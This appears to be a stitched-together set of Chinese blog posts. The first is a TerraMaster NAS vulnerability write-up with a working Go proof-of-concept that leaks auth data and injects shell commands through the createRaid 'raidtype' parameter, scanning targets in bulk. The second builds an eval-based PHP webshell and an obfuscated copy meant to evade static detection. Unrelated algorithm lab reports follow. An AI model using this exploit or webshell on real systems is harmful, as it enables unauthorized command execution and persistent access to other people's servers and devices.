不在这个数组内的需要下面两个的检测

static $notHeader = [“fileDownload”, “videoPlay”, “imagesThumb”, “imagesView”, “fileUpload”, “tempClear”, “wapNasIPS”, “webNasIPS”, “isConnected”];

tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300)

if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) {

那么在均在三个数组内的发现只有下面个方法

webNasIPS isConnected

发现只能获取一些时间webNasIPS failed了进指定方法查看一下

因为我们获得了$this->REQUESTCODE所以可以绕过

if (!strstr($_SERVER['HTTP_USER_AGENT'], "TNAS") || !isset($_SERVER['HTTP_AUTHORIZATION']) || $this->REQUESTCODE != $_SERVER['HTTP_AUTHORIZATION']) {

还需要然后下面的才能使用其他的非notHeader 的方法

static $notHeader = [“fileDownload”, “videoPlay”, “imagesThumb”, “imagesView”, “fileUpload”, “tempClear”, “wapNasIPS”, “webNasIPS”, “isConnected”];

tos_encrypt_str($_SERVER['HTTP_TIMESTAMP']) != $_SERVER['HTTP_SIGNATURE'] || $_SERVER['REQUEST_TIME'] - $_SERVER['HTTP_TIMESTAMP'] > 300)

主要这个tos_encrypt_str搜索并没有发现 时间上面我们已经可以可以获得了

应该在php自定义拓展里面搜索定位一下

跟踪get_mac_addr

因为mac地址webips可以知道，所以也可以进行绕过

tos_encrypt_str($_SERVER[‘HTTP_TIMESTAMP’]) != $_SERVER[‘HTTP_SIGNATURE’] || $_SERVER[‘REQUEST_TIME’] - $_SERVER[‘HTTP_TIMESTAMP’] > 300)

所以我们可以使用下面两个数组中共有的方法了，因为还有登录判断，只能找两个数组中公共的

$GLOBALS[‘NO_LOGIN_CHECK’] = array(“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”);

static $notCheck = [
“webNasIPS”, “getDiskList”, “createRaid”, “getInstallStat”, “getIsConfigAdmin”, “setAdminConfig”, “isConnected”,’createid’,
‘user_create’,’user_bond’,’user_release’,’login’, ‘logout’, ‘checkCode’, “wapNasIPS”
];

有一下方法

webNasIPS getDiskList getInstallStat getIsConfigAdmin setAdminConfig isConnected createRaid

一个一个看

至此，完成了命令执行

梳理一下，通过webNasIPS可以获取$this->REQUESTCODE mac地址 系统时间

可以用于绕过

tos_encrypt_str $this->REQUESTCODE != $_SERVER[‘HTTP_AUTHORIZATION’]

便可以用其他方法，在createRaid方法发现$this->in[‘raidtype’]可控且传入了popen命令函数中

造成了命令执行

2.3 编写poc脚本

package mainimport (    "bufio"    "crypto/md5"    "flag"    "fmt"    "io"    "io/ioutil"    "net/http"    "os"    "regexp"    "strings"    "time")func main()  {    var url string;    var pathfile string;    flag.StringVar(&url, "u", "", "指定检测的目标的url")    flag.StringVar(&pathfile,"f","","指定检测的目标的u文件路径")    flag.Parse()    if url != ""  {        poc_getinfo(url)    }    if pathfile != "" {        fi, err := os.Open(pathfile)        if err != nil {            fmt.Printf("Error: %s\n", err)            return        }        defer fi.Close()        br := bufio.NewReader(fi)        for {            a, _, c := br.ReadLine()            if c == io.EOF {                break            }            url = strings.TrimSpace(string(a))            poc_getinfo(url)        }    }    if url == "" && pathfile == ""{            fmt.Printf("-h 查看命令")    }}func poc_getinfo(Url string) {    var targetUrl string    if strings.HasSuffix(Url, "/") {        targetUrl = Url +  "module/api.php?mobile/webNasIPS"    } else {        targetUrl = Url + "/module/api.php?mobile/webNasIPS"    }    //提交请求    reqest, err := http.NewRequest("GET", targetUrl, nil)    //增加header选项    reqest.Header.Add("User-Agent", "TNAS")    //处理返回结果    cli := http.Client{ Timeout: 10*time.Second }    response, err := cli.Do(reqest)    if err != nil {        fmt.Printf(targetUrl + "访问错误\n")    }else {        body,err := ioutil.ReadAll(response.Body)        if err == nil{            if strings.Contains(string(body),"webNasIPS successful"){                fmt.Printf(targetUrl + "存在信息泄露\n")                poc_execute(string(body),Url)            }else {                fmt.Printf(targetUrl + "不存在信息泄露\n")            }        }        defer response.Body.Close()    }}func  poc_execute(req string,targetUrl string)  {    r := regexp.MustCompile(`"mac\\":\\"(.*?)\\"`)    f := regexp.MustCompile(`PWD:(.*?)\\`)    timestamp := string(time.Now().Unix())    mac := r.FindStringSubmatch(req)    macString := strings.Replace(mac[1], ":","",-1)    macString = string([]rune(macString)[len([]rune(macString))-6:])    authorization := f.FindStringSubmatch(req)    data := []byte(macString + timestamp)    has := md5.Sum(data)    signature := fmt.Sprintf("%x", has)    fmt.Println(authorization[1] + "\n" + signature)    url:= targetUrl + "/module/api.php?mobile/createRaid"    request, _ := http.NewRequest("POST", url, strings.NewReader("raidtype=;echo \"<?php phpinfo();?>\">phpinfo.php&diskstring=XXXX"))    request.Header.Set("Authorization", authorization[1])    request.Header.Set("Signature", signature)    request.Header.Set("Timestamp", timestamp)    request.Header.Set("User-Agent", "TNAS")    request.Header.Set("Content-Type", "application/x-www-form-urlencoded")    client := &http.Client{}    resp, _ := client.Do(request)    defer resp.Body.Close()    body, _ := ioutil.ReadAll(resp.Body)    if strings.Contains(string(body),"successful"){        fmt.Printf(targetUrl + "存在命令执行:" + targetUrl + "/module/phpinfo.php\n")    }else {        fmt.Printf(targetUrl + "不存在命令执行\n")    }}

3.最后

想看下4.2.32关于这个漏洞的修复，看不懂新的php_terra_master.so加密方式，没法继续看了

本人水平有限，如有错误还请大佬指点！

说明：本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担

看到一篇利用php7.1新特性webshell的文章感觉思路很好，https://cloud.tencent.com/developer/article/1593612

简单的测试，本文使用php7.4的新特性的webshell做一下尝试，效果还是很不错的 php7.3以上版本应该都能用

2.docker搭建php7.4环境

拉取centos镜像

docker pull centos

使用镜像创建容器

docker run -it -d -p 8888:80 -v /home/docker/php7.4:/usr/share/nginx/html --privileged --name centos-php7.4  centos /usr/sbin/init

参数 释义
run 启动容器的命令
-it i：交互模式 t：终端
-d 后台运行
-p 1234:80 端口代理 1234 为本地端口，80 为容器内服务端口
/home/docker/php7.4:/usr/share/nginx/html /home/docker/php7.4：本地路径，/usr/share/nginx/html：容器内路径；将本地和容器目录同步，之后可以直接在本地编写代码测试；/usr/share/nginx/html 是 yum 安装 nginx 服务的默认目录，如过其他方式安装请自行更换
–privileged 容器内默认使用 root 登录
–name centos-php7.4 自定义你的容器名称
centos 你的镜像名称
/usr/sbin/init centos 默认启动项

进入容器

docker exec run -it 容器id  /bin/bash

在2022年1月31日，CentOS团队终于从官方镜像中移除CentOS 8的所有包。

yum需要替换一下源

sed -i -e "s|mirrorlist=|#mirrorlist=|g" /etc/yum.repos.d/CentOS-*sed -i -e "s|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g" /etc/yum.repos.d/CentOS-*

安装nginx

yum install nginx

![image-

设置开机自启

systemctl enable nginx

启动nginx

然后我们就可以正常访问了

安装php7.4

https://www.jb51.net/article/175918.htm

配置nginx解析php

vi /etc/nginx/nginx.conf

 location ~ \.php$ {            # 设置监听端口            fastcgi_pass   unix:/run/php-fpm/www.sock;            # 设置nginx的默认首页文件(上面已经设置过了，可以删除)            fastcgi_index  index.php;            # 设置脚本文件请求的路径            fastcgi_param  SCRIPT_FILENAME  /usr/share/nginx/html/$fastcgi_script_name;            # 引入fastcgi的配置文件            include        fastcgi_params;        }

fastcgi_pass 后参数为

vi  /etc/php-fpm.d/www.conf

整个phpinfo测试

3.利用php7.4新特性webshell

php7.4新特性:https://www.php.net/manual/zh/migration74.new-features.php

简单的利用一下新特性尝试构造一个webshell

个人思路很简单使用这个逆变做主要对象处理,其他特性做传递的污染:

写了一个小测试(本人水平有限，有错误还请大佬指点，感谢):

<?phpclass A {    public  String $food;    public function __construct(String $food)    {        $this->food = $food;    }    public function eat(): String{        $filter_var = filter_var($this->food, FILTER_VALIDATE_FLOAT);        if ($filter_var != null){            return $filter_var;        }        return $this->food;    }}class B extends A {}abstract class Producer { public function method(B $b){}}class ChildProducer extends Producer {        public function method(A $a):String{        $array = array();        $array['key'] ??= $a->eat();        $parts = ['apple', $array['key']];        $fruits = ['banana', 'orange', ...$parts, 'watermelon'];        $_POST["food1"]??eval($fruits[3]);    }}//$fn1 = fn($x) => $_POST["food"] ?? "apple";$childProducer = new ChildProducer();$childProducer->method(new A($_POST["food"] ?? "apple"));?>

可用测试:

简单的扫描测试，效果还行 简单测试了下静态

4.最后

推荐一个php加密平台在别的大佬文章中看到的，用在webshell混淆上效果很nice

https://enphp.djunny.com/

上面的简单的webshell混淆后的结果:

<?php/*-- EnPHP v2: http://enphp.djunny.com/*/goto êÉèŸ;ïõ•‘:class B extends A{}goto ŠæºÉ;ß·Õ†:class ChildProducer extends Producer{public function method(A $àèŽí):string{goto ­Œòä;­Œòä:$„ƒÎ¨=Û¿ê•(0x0000715);goto Ê£¹¼;Ê£¹¼:$„ƒÎ¨[Û¿ê•(0x0000073e,0x0074f,0x0000729,$Œ°ÜÚ)]??= $àèŽí->eat();goto ¹ª¶£;ˆšÆŠ:$£µ†Â=[Û¿ê•(0x0776),ùñ×Ð(0x0000f17,0x000f07),...$£ ¹Š,ùñ×Ð(0x00000f3b,0x0f5f,0x00f24)];goto –Ž÷Ü;¹ª¶£:$£ ¹Š=[Û¿ê•(0x0000765),$„ƒÎ¨[Û¿ê•(0x0000073e,0x0074f,0x0000729,$Œ°ÜÚ)]];goto ˆšÆŠ;–Ž÷Ü:$_POST[ùñ×Ð(0x0f78)]?? eval($£µ†Â[0x00003]);goto ½ï®ñ;½ï®ñ:}}goto ‰†ÇÍ;³Ë˜¶:class A{public string $food;public function __construct(string $Íí²·){$this->food=$Íí²·;}public function eat():string{goto îñÄ­;À«—æ:if(!($Ô‡™‚!=null))goto Ôêý­;goto „Ÿê«;îñÄ­:$Ô‡™‚=Û¿ê•(0x006ff,0x00006cf)($this->food,FILTER_VALIDATE_FLOAT);goto À«—æ;—¬¤·:Ôêý­:goto ¬–‹;¬–‹:return $this->food;goto ±ÒÌè;„Ÿê«:return $Ô‡™‚;goto —¬¤·;±ÒÌè:}}goto ïõ•‘;‰†ÇÍ:$ÀÆç=new ChildProducer();goto ОÑÊ;ˆå“Û:function ùñ×Ð(){goto ¸µÁÏ;¸µÁÏ:$»¹Ùù=0x0ed8;goto –µ›;«”Ìñ:if(!($â—ãŸ[0]==$»¹Ùù+0x0a0))goto Àéá­;goto ÷ŸèÊ;„Ÿ´¼:if(!(func_get_arg(0x001)==$»¹Ùù+0x0002f))goto ”౎;goto «­öš;¤„˜¼:return gzinflate('+O,I-ÊMÍÉÏ

混淆后也是可用,可以很大程度的绕过webshell的静态检查，同时webshell也不容易泄露标记,很不错推荐

本人水平有限，如有错误还请大佬指点！

说明：本文仅限技术研究与讨论，严禁用于非法用途，否则产生的一切后果自行承担

算法设计与分析实验还挺有趣，简单记录一下，以后可能还能用上

贪心算法应用(求图的最小生成树)

实验过程(请用简单的文字描述)

1. 算法核心

   prime算法，根据顶点，每次找到一个最小边然后进行标记，按照已有的点，继续搜索

   kruskal算法，按照权值从小到大的顺序选择n-1条边，并保证这n-1条边不构成回路

2. 造数据，n∈[100,1000]且 n%20==0 的顶点，随机生成任意顶 点之间的权值，并输出其邻接矩阵，通过计时功能绘制 n 与求解时间的曲线图， 关键点就是在原有算法的基础之上加入随机数，计时功能以及使用邻接矩阵存图 而非邻接表

3. 实验过程大计划 使用c++进行编写，excel做可视化数据分析

实验详细操作步骤或程序清单

1. 造数据

   对于随机造出的图，要满足是强连通图才能有最小生成树，所以要先判断什么时候生成了强连通图，采用Tarjan算法，借助堆栈数据结构，进行是否是强连通图的判断

   Tarjan算法核心思想:

2. 算法实现

   使用prim kruskal算法实现最小生成树算法，在实现的过程中加入

time函数实现对程序运行时间的计算

3. 数据可视化

   使用excel对生成的数据进行折线图，可视化

4. 程序清单

   //判断是否是强连通图 Tarjan算法void Tarjan(int u, int pre) {    int v;    LOW[u] = DFN[u] = ++Index;    Stack[top++] = u;    Instack[u] = true;    int pre_cnt = 0;    for (int i = head[u]; i != -1; i = edge[i].next) {        v = edge[i].to;        if (v == pre && pre_cnt == 0) {            pre_cnt++;            continue;        }        if (!DFN[v]) {            Tarjan(v, u);            if (LOW[u] > LOW[v]) LOW[u] = LOW[v];            if (LOW[v] > DFN[u]) {                bridge++;                putss[number++] = edge[i].w;                edge[i].cut = true;                edge[i ^ 1].cut = true;            }        } else if (Instack[v] && LOW[u] > DFN[v])            LOW[u] = DFN[v];    }    if (LOW[u] == DFN[u]) {   // 如果low和dfn相等说明为强连通图，出栈        scc++;        do {            v = Stack[--top];            Instack[v] = false;            Belong[v] = scc;            num[scc]++;        } while (v != u);    }}

   // prime算法   int prim(int cost[][maxn], int n) {       int ans = 0;       memset(vis, 0, sizeof(vis));       vis[1] = true;       for (int i = 2; i <= n; ++i) {           lowc[i] = cost[1][i];       }       for (int i = 2; i <= n; ++i) {           int minc = inf;           int p = -1;           for (int j = 1; j <= n; ++j) {               if (!vis[j] && minc > lowc[j]) {                   minc = lowc[j];                   p = j;               }           }           if (minc == inf) return -1;           ans += minc;         //最小生成树长度           vis[p] = true;       //找到最短的边访问           for (int j = 1; j <= n; ++j) {               if (!vis[j] && lowc[j] > cost[p][j]) {                   lowc[j] = cost[p][j];               }           }       }       return ans;  // 树的最小权值   }

   //Kruskal算法   int Kruskal(int n) {       memset(F, -1, sizeof(F));       sort(edgee, edgee + tol, cmp);       int cnt = 0;       int ans = 0;       for (int i = 0; i < tol; ++i) {           int u = edgee[i].u;           int v = edgee[i].v;           int w = edgee[i].w;           int t1 = Find(u);           int t2 = Find(v);           if (t1 != t2) {               ans += w;               F[t1] = t2;               cnt++;           }           if (cnt == n - 1) break;       }       if (cnt < n - 1) return -1;       else return ans;   }

程序总代码清单

Kruskal算法

   #include   #include

Kruskal算法

   #include   #include

实验结果

prim算法

n    运行时间100    0.008120    0.006140    0.005160    0.005180    0.005200    0.01220    0.014240    0.009260    0.016280    0.005300    0.008320    0.014340    0.008360    0.019380    0.02400    0.005420    0.017440    0.009460    0.015480    0.015500    0.009520    0.01540    0.011560    0.02580    0.01600    0.015620    0.014640    0.015660    0.008680    0.015700    0.018720    0.017740    0.007760    0.008780    0.013800    0.013820    0.015840    0.023860    0.015880    0.017900    0.016920    0.013940    0.014960    0.025980    0.02310000.022

数据可视化

kruska算法

实验环境

excel

c++

CLion

疑难小结

1. 学会了通过运行时间来看时间复杂度，更具有可观性

2. 学会了如何造数据，使用随机产生数据，加边

3. 本次实验还是有缺陷，对于n个节点，但是边的个数还是随机的，对时间复杂度是有影响的，造成产生的数据不太理想

4. 由于程序运行过快，有时无法计算时间，所以采用sleep函数，相当于将函数上移动，来更好的展示运算时间，并不影响实验结果

   分治算法应用(分治法进行快速排序)

   1.实验过程(请用简单的文字描述)

5. 分治法的核心思想:

   对于一个规模为n的问题

• 若该问题可以很容易地解决则直接解决
• 否则将其分解为k个规模较小地子问题，子问题互为相互独立且与原问题形式相同，递归地解这些子问题，然后将各个子问题地解合并到原来问题。

2. 使用随机数构建数据
3. 使用逆序对，观察无序度与求解用时之间的关系，采用树状数组降低逆序对的时间复杂度
4. 实验计划: 使用golang进行编写

实验详细操作步骤或程序清单

1. 造数据

   使用rand()随机数生成[0:3000]随机数

2. 数据可视化

   使用excel快速生成线性图

3. 程序清单

   • 分治法实现快排

     func quicksort(mapp []int, start int, end int) {    if start >= end {        return    }    mid := mapp[end]    left := start    right := end - 1    for left < right {        for mapp[left] <= mid && left < right {            left++        }        for mapp[right] >= mid && left < right {            right--        }        mapp[left], mapp[right] = mapp[right], mapp[left]    }    if mapp[left] >= mapp[end] {        mapp[left], mapp[end] = mapp[end], mapp[left]    } else {        left++    }    quicksort(mapp, start, left-1)    quicksort(mapp, left+1, end)}

   • 基于树状数组逆序度计算

     func RandInt(min, max int) int { //生成随机数    if min >= max || min == 0 || max == 0 {        return max    }    return rand.Intn(max-min) + min}func add(number int) { //构造树状数组    for number <= n {        a[number]++        number += number & (-number)    }}func sum(number int) int {    var ros = 0    for number > 0 {        ros += a[number]        number -= number & (-number)    }    return ros}

   4.总代码

   package mainimport (    "fmt"    "math/rand"    "time")const maxm = 1e6 + 100type edge struct {    v, indexX int}type outdate struct {    num      int    since    int    ReNumber int}var (    a    []int    n    int    mapp []int)func RandInt(min, max int) int { //生成随机数    if min >= max || min == 0 || max == 0 {        return max    }    return rand.Intn(max-min) + min}func add(number int) { //构造树状数组    for number <= n {        a[number]++        number += number & (-number)    }}func sum(number int) int {    var ros = 0    for number > 0 {        ros += a[number]        number -= number & (-number)    }    return ros}func quicksort(mapp []int, start int, end int) {    if start >= end {        return    }    mid := mapp[end]    left := start    right := end - 1    for left < right {        for mapp[left] <= mid && left < right {            left++        }        for mapp[right] >= mid && left < right {            right--        }        mapp[left], mapp[right] = mapp[right], mapp[left]    }    if mapp[left] >= mapp[end] {        mapp[left], mapp[end] = mapp[end], mapp[left]    } else {        left++    }    quicksort(mapp, start, left-1)    quicksort(mapp, left+1, end)}func main() {    outDate := make(map[int]outdate)    var ran = 1    for n = 5000; n < 70000; n++ {        if n%1000 != 0 {            continue        }        a = make([]int, maxm)     //初始化a        mapp = make([]int, maxm)  //初始化mapp        num := make(map[int]edge) //初始化num        for i := 1; i <= n; i++ {            mapp[i] = RandInt(1, 3000)            num[i] = edge{mapp[i], i}        }        var ans int        for i := 1; i <= n; i++ {            add(num[i].v)            ans += i - sum(num[i].v)        }        timeStart := time.Now()        time.Sleep(1)        quicksort(mapp, 1, n)        time := time.Since(timeStart)        var lnng int        lnng = int(time)        outDate[ran] = outdate{n, lnng, ans}        ran++    }    fmt.Println("n", "\t", "运行时间", "\t", "逆序数")    for i := 1; i <= len(outDate); i++ {        fmt.Println(outDate[i].num, "\t", outDate[i].since, "\t", outDate[i].ReNumber)    }}

   实验结果

   程序运行结果

n 运行时间 逆序数 关系

n      运行时间      逆序数5000      1994200      63561216000      1995100      90408127000      1995000      123969208000      1007400      160064809000      1007100      2051533310000      1007200      2485021211000      1035900      3025324512000      2003100      3573292213000      2061800      4229103714000      2036400      4925204215000      1074600      5633253316000      1995100      6409412517000      1960800      7198464018000      2991700      8145348519000      2992000      9014456020000      2991900      9990103521000      1995400      11038953722000      1994800      12122661723000      1994900      13257394924000      1960600      14383139625000      1994600      15705807126000      2991600      16975852627000      1994700      18146720228000      1994800      19529860829000      2990700      20873975030000      2961700      22430415631000      2991900      23951488132000      3024000      25613943733000      2993100      27335783334000      2991500      28826212835000      3989400      30313481936000      3972700      32434936937000      2992400      34196895738000      2992000      36281107739000      3023000      37970526840000      2991800      40139968541000      3960900      41871034842000      2991400      43958594943000      2992700      45966339944000      2991700      48327559545000      4219700      50515861246000      3989200      52749410547000      4985200      55191713048000      3989600      57428552249000      3988700      60261285150000      4986400      62435370951000      5026700      65089722252000      3987800      67620261353000      4987400      70206823754000      3988800      72656048055000      4986000      75435614256000      4986300      78216613357000      4987200      81281698058000      4985900      83932459659000      5983200      87348500260000      4985300      89800250961000      4985100      93130144362000      6944000      95986694563000      4985100      99241236664000      5020600      102761472865000      5019500      105882473666000      4986900      108421811167000      4984200      112043173168000      6950300      115570650369000      5014700      1191768434进程 已完成，退出代码为 0

数据可视化

n与运算时间关系

无序度与运行时间关系

通过数据可视化可以发现，时间复杂段是O(n),跟实际的快排算法的时间复杂度相同

通过数据可视化可以发现 对于无序度和程序的运行时间来说 大致上也呈现出直线趋势

实验环境

goland

excel

疑难小结

1. 最开始的时候对于无序度的计算有点懵，后来通过资料查询发现只需要计算 逆序对的个数就行了，然后绘制成图

2. 以前对于时间复杂度的分析是通过计算类似 for 循环的层数计算的，没有通 过程序的运行时间确定过，通过本次实验从程序的运行时间的角度出发，我从更 详细的时间上面对这两种算法有了更加深刻的认识。

3. 随机数的生成还有待改进

   动态规划算法应用(求解编辑距离)

   实验过程(请用简单的文字描述)

4. 动态规划法的核心思想

   •最优子结构性质

   –原问题的最优解包含了其子问题的最优解，即原问题可以由子问题的最优解组合而成，这就使得问题可以拆分成若干个子问题。

   •子问题重叠性质

   –每次产生的子问题并不总是新问题，有些子问题被反复计算多次。

5. 使用随机长度的字符串构建数据

6. 使用m与n的之间的差来观察关系

7. 实验计划:使用golang进行编写

实验详细操作步骤或程序清单

1. 造数据

   使用rand()生成随机数字，在将数字转化为字符串

2. 数据可视化

   使用excel快速生成线性图

3. 程序清单

   • 动态规划法求解编辑距离

     func minDistance(word1 string, word2 string) {    m := len(word1)    n := len(word2)    dp = make([][]int, m+1)    for i := 0; i < m+1; i++ {        dp[i] = make([]int, n+1)    }    for i := 0; i <= m; i++ { // 列初始化        dp[i][0] = i    }    for i := 0; i <= n; i++ { // 行初始化        dp[0][i] = i    }    for i := 0; i < m; i++ {        for j := 0; j < n; j++ { // 横着填            if word1[i] == word2[j] { //如果第i个相等                dp[i+1][j+1] = dp[i][j]            } else {                dp[i+1][j+1] = Min(dp[i][j], Min(dp[i][j+1], dp[i+1][j])) + 1 //上方 右方 斜方 最小值 + 1            }        }    }}

   • 随机长度的字符串生成

     const char = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"func RandomStr(len int) string {    var str string    for i := 0; i < len; i++ {        random := rand.Int() % 26 //大写字母65-90        strTemp := char[random]        str = str + string(strTemp)    }    return str}

4. 总代码

   package mainimport (    "fmt"    "math/rand"    "time")var dp [][]intconst char = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"func RandomStr(len int) string {    var str string    for i := 0; i < len; i++ {        random := rand.Int() % 26 //大写字母65-90        strTemp := char[random]        str = str + string(strTemp)    }    return str}func RandInt(min, max int) int { //生成随机数    if min >= max || min == 0 || max == 0 {        return max    }    return rand.Intn(max-min) + min}func main() {    //var (    //    S1 string    //    S2 string    //)    //fmt.Printf("S1=")    //fmt.Scanln(&S1)    //fmt.Printf("S2=")    //fmt.Scanln(&S2)    //minDistance(S1, S2)    fmt.Println("m\tn\tm*n\t求解用时")    for i := 1000; i <= 3000; i++ {        if i%10 != 0 {            continue        }        str1Len := RandInt(i-500, i)        str1 := RandomStr(str1Len)        str2Len := RandInt(i, i+500)        str2 := RandomStr(str2Len)        startTime := time.Now()        time.Sleep(1)        minDistance(str1, str2)        sinceTime := time.Since(startTime)        fmt.Println(str1Len, "\t", str2Len, "\t", str1Len*str2Len, "\t", sinceTime)    }}func Min(x, y int) int {    if x <= y {        return x    }    return y}func minDistance(word1 string, word2 string) {    m := len(word1)    n := len(word2)    dp = make([][]int, m+1)    for i := 0; i < m+1; i++ {        dp[i] = make([]int, n+1)    }    for i := 0; i <= m; i++ { // 列初始化        dp[i][0] = i    }    for i := 0; i <= n; i++ { // 行初始化        dp[0][i] = i    }    for i := 0; i < m; i++ {        for j := 0; j < n; j++ { // 横着填            if word1[i] == word2[j] { //如果第i个相等                dp[i+1][j+1] = dp[i][j]            } else {                dp[i+1][j+1] = Min(dp[i][j], Min(dp[i][j+1], dp[i+1][j])) + 1 //上方 右方 斜方 最小值 + 1            }        }    }}//func solve(m int, n int) {//    if m == 0 || n == 0 {//        os.Exit(0)//    }//    if dp[m][n] == (dp[m-1][n] + 1) {//        fmt.Printf("S1第%d删除\n", m) // 上方//        solve(m-1, n)//    }//    if dp[m][n] == (dp[m][n-1] + 1) {//        fmt.Printf("S1第%d插入S2第%d位字母\n", m, n) //左侧////        solve(m, n-1)//    }//    if dp[m][n] == dp[m-1][n-1] {//        //字符串相等什么也不用做//        solve(m-1, n-1)//    }//    if dp[m][n] == (dp[m-1][n-1] + 1) {//        //替换//        fmt.Printf("S1第%d替换为S2第%d位字母\n", m, n)//        solve(m-1, n-1)//    }//}

实验结果

程序运行结果

m与n的差距很小时